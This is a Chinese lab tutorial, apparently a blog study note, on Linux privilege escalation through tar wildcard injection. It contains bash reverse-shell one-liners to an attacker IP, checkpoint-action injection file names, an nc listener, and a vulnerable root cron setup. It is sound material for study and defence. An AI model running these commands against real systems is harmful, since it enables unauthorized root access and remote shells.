[权限提升] Linux 提权 维持 — 系统错误配置提权 - 通配符(ws)注入提权

devtools/2025/2/10 20:58:03/

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:通配符(ws)注入提权原理

通配符注入提权的核心是利用通配符的扩展特性,在命令执行时生成意外的参数或文件名,从而改变命令的行为。这种技术通常用于以下场景:

  • 命令注入: 通过构造特殊的文件名或参数,使命令执行额外的操作。

  • 权限绕过: 如果一个程序以高权限(如 root)运行,并使用了通配符,攻击者就可以通过构造特殊的文件名来注入命令,从而获得高权限。

0x0101:基础知识 — 通配符的基本概念

在 Unix/Linux 系统中,通配符可以被用来进行模糊匹配,常见的通配符包括如下三种:

  • * => 匹配任意数量的字符(包括空字符)

  • ? => 匹配单个字符

  • [] => 匹配括号中的任意单一字符,可以使用连字符 - 表示范围,比如 [0-9]

下面笔者以几个例子讲解一下通配符的常见用法,首先输入下面的命令,创建几个示例文件:

 touch 1.txt 2.txt 12.txt a.txt b.txt ab.txt abc.txt

0x0102:概念引入 — 统配符(ws)注入

我们知道,在 Linux 中,通过 --help 可以查看一个命令的用法,比如:

 cat --help

那么现在,我们在当前目录下使用命令创建 file1file2--help 文件:

 echo "1" > file1echo "2" > file2echo "3" > --help

我们知道,cat file1 肯定会显示 file1 文件中的内容也就是 1cat file2 肯定会显示 file2 文件中的内容,即 2,那么 cat --help 会显示啥呢?会显示 3 还是 cat 的帮助命令:

如上,--help 文件中的命令是无法被使用命令直接读取的。再进一步,如果我们运行 cat * 会发生什么呢:

如上,当我们运行 cat *,可以发现,它还是显示了 cat 的帮助信息,而没有显示 --help 文件中的内容,这种技巧就被称为 Wildcard wildness,即 ”通配符(ws)命令注入“。

0x02:通配符(ws)注入提权姿势

通配符(ws)注入的利用,限制的有些严格。因为触发该漏洞的原因实际是因为命令使用通配符时错误的把文件名当作参数来执行了,结果导致注入从而提权。

通配符(ws)注入的利用可以结合前面介绍的 SUID、Sudo、定时任务、环境变量劫持提权,总之,如果你看到一个以高权限运行的任务中包含 * 号,你就可以考虑这种利用姿势。

0x0201:tar — ws 注入提权姿势

1. tar — ws 注入理论基础

tar 命令是 Linux 中的压缩命令,可以对文件进行压缩,以下是它的基本用法:

 tar -czf html.tgz 1.html # 将文件 1.html 压缩成 html.tgz

它也可以利用通配符一次性压缩多个文件:

 tar -czf html.tgz *.html # 将文件夹中的所有 HTML 文件压缩成 html.tgz

我们知道的,tar 命令是可以执行 Linux 系统命令的,格式如下:

 tar -czf html.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

2. tar — ws 注入实操流程

那么劫持方法就很简单了,在运行 tar 命令的目录下面,创建一个 shell.sh 内容如下(一个 Bash 反弹链接的代码),并赋予其可执行权限:

 bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

然后使用下面的命令创建针对 tar 命令的注入文件:

拓展:Unix/Linux -- (双连字符)作用解析

在 Unix/Linux 系统中,--是一个特殊的符号,用于表示命令行选线的结束。它的作用是告诉命令解析器:后面的内容不是选项,即使它们以 - 开头

 # touch -- 中的 --(双连字符)用于表示命令行选项的结束,touch -- '--checkpoint=1'touch -- '--checkpoint-action=exec=sh shell.sh'

你在攻击机上做好监听后,在靶机中输入下面的内容,一个很正常的压缩命令(* 前面有其他字符时似乎是无法利用的):

tar -czf html.tgz *

如上,成功使用 ws 注入拿到靶机的 Shell,倘若这个压缩是一个 Root 用户的定时任务的话,我们就可以利用该特性直接进行提权。

0x03:通配符(ws)注入提权场景代入

直接使用通配符(ws)注入提权不太可能,管理员看到你目录下有这个文件,多少都会起疑心。所以 ws 注入提权多与前面讲解的几种提权方式搭配使用,作用一种思路的拓展。

0x0301:通配符注入 + 定时任务提权

一般管理员都有备份网站的习惯,部分管理员会直接使用定时任务进行备份,如果管理员在进行备份时滥用了通配符,就可能会被导致提权。

1. 通配符注入 + 定时任务提权 — 环境搭建

复现环境

  • 靶机 CentOS 7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.136

首先创建一个 /www/html 目录,并授予这两个目录 777 权限(让普通用户也可以读取写入),然后在该目录下通过 touch 1.html 命令创建一个 html 文件:

然后在 /www/html 文件夹中创建一个 backup.sh 文件,文件内容如下:

#!/bin/bash
tar -czf /tmp/html.tgz *

上面这个脚本会将当前目录下所有文件打包到 /tmp/html.tgz 中,然后使用下面这个命令赋予其执行权限:

chmod 744 /www/html/backup.sh

然后以 root 身份往 /etc/crontab 中写入如下定时任务:

*/1 * * * * root /www/html/backup.sh

然后我们等待一分钟,查看 /tmp 目录下,如果出现了 html.tgz 文件则证明环境搭建完成:

2. 通配符注入 + 定时任务提权 — 漏洞复现

2.1 拿到靶机低权限用户 Shell

提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:

nc -lvp 7777

然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:

bash -i >&/dev/tcp/192.168.0.136/7777 0>&1

此时回到 Kali 攻击机,可以看到靶机直接上线:

2.2 发现不安全的计划任务

查看系统计划任务,发现一个以 Root 身份运行的 backup.sh 任务:

cat /etc/crontab

我们尝试查看一下这个计划任务的内容:

ls -al /www/html/backup.sh  # 查看文件权限
cat /www/html/backup.sh     # 查看文件内容

如上,对于 /www/html/backup.sh 文件,我们只有读权限,没有编辑权限。查看文件内容,发现其存在通配符滥用的情况,有被利用的可能性。

2.3 创建通配符注入文件

由于是 tar 命令定时任务,所以我们对应的 WS 注入文件如下:

touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

backup.sh 文件中会定期备份 /www/html 文件夹中的内容,所以我们需要将 WS 注入文件写到 /www/html 目录下(写在子路径也是无法利用成功的),我们执行注入还需要一个 shell.sh 文件,所以我们还得创建它。依次输入下面几条命令,完成这些操作:

# 1. 创建反弹链接文件
echo "bash -i >&/dev/tcp/192.168.0.136/8888 0>&1" > /www/html/shell.sh
# 2. 为 shell.sh 文件赋予执行权限
chmod 777 /www/html/shell.sh
# 3. 创建 tar 命令对应的注入文件
touch -- /www/html/'--checkpoint=1'
touch -- /www/html/'--checkpoint-action=exec=sh shell.sh'

然后在攻击机中新开一个窗口,使用 nc -lvp 8888 命令监听 8888 端口,等待靶机定时任务执行后上线。

2.4 复现失败

很遗憾,等待许久,靶机并没有以 Root 权限上线,虽然复现失败了,但笔者这里依旧写出来是因为发现了一个有趣的事情。看看 /var/log/cron 内容:

如上,使用计划任务运行 /www/html/backup.sh,就不能反弹 Shell,但是我直接运行 /www/html/backup.sh 就能反弹。笔者还特意退出了 root 用户身份,生怕是我抢了它的权限,但是很遗憾,一分钟过去了,依旧未能拿到 Shell。

通配符注入 + 计划任务拿高权限 Shell 是失败了,但是笔者还有一计。如果我赋予 /backup.sh 文件 SUID 权限呢(这个应该没问题,读者可以试验一下) 。。。。


http://www.ppmy.cn/devtools/157732.html

相关文章

DeepSeek Janus Pro 论文解析

目录 介绍 统一的多模态理解与生成 图像理解任务 图像生成任务 统一模型的好处 Janus 和 Janus Pro 架构 Janus Pro主要设计原理 Janus Pro 图像编码器 LLM 处理和输出 Rectified Flow Janus Pro 训练流程 第一阶段——适应 第二阶段——统一预训练 第三阶段——监…

CEF132 编译指南 Windows 篇 - 拉取 CEF 源码 (五)

1. 引言 获取 CEF 132 源码是开始编译工作的前提和关键步骤。在完成 depot_tools 的安装和配置后,我们需要通过正确的方式下载和同步 CEF 的源代码。由于 CEF 项目依赖于 Chromium 的大量组件,因此源码的获取过程需要特别注意同步策略和版本管理&#x…

uniapp实现人脸识别(不使用三方插件)

uniapp实现人脸识别 内容简介功能实现上传身份证进行人脸比对 遇到的问题 内容简介 1.拍摄/相册将身份证照片上传到接口进行图片解析 2.使用live-pusher组件拍摄人脸照片,上传接口与身份证人脸进行比对 功能实现 上传身份证 先看下效果 点击按钮调用chooseImage…

自动化测试(selenium篇)

🍅 点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快 一、什么是自动化测试 自动化测试通俗一些来讲,就是相当于将人工测试手段进行转换,让代码去自动执行。 自动化测试主要分为:单元…

如何在Windows中配置MySQL?

MySQL是一个广泛使用的开源关系型数据库管理系统,它支持多种操作系统平台,其中包括Windows。无论是开发者进行本地开发,还是管理员为应用程序配置数据库,MySQL都是一个非常流行的选择。本篇文章将详细介绍如何在Windows操作系统中…

如何利用maven更优雅的打包

最近在客户现场部署项目,有两套环境,无法连接互联网,两套环境之间也是完全隔离,于是问题就来了,每次都要远程到公司电脑改完代码,打包,通过网盘(如果没有会员,上传下载慢…

Baklib优化数字化内容管理用科技提升商业效率与增值潜力

内容概要 在当今数字化迅速发展的时代,数字化内容管理已成为企业提升竞争力的重要手段。Baklib作为一款强大的智能优化内容管理系统,通过先进的科技手段,帮助企业在内容管理和数据整合方面实现高效运作。Baklib 是什么类型的工具&#xff0c…

MySQL数据库(七)SQL 优化

目录​​​​​​​ 一 插入数据 1 批量插入 2 手动提交事务 3 主键顺序插入 4* 使用load插入指令数据 二 主键优化 1 数据组织方式 2 页分裂 ​编辑3 页合并 4* 主键设计原则 三 order by 优化 四 group by 优化 五 limit 优化 六 count优化 七 update优化 一…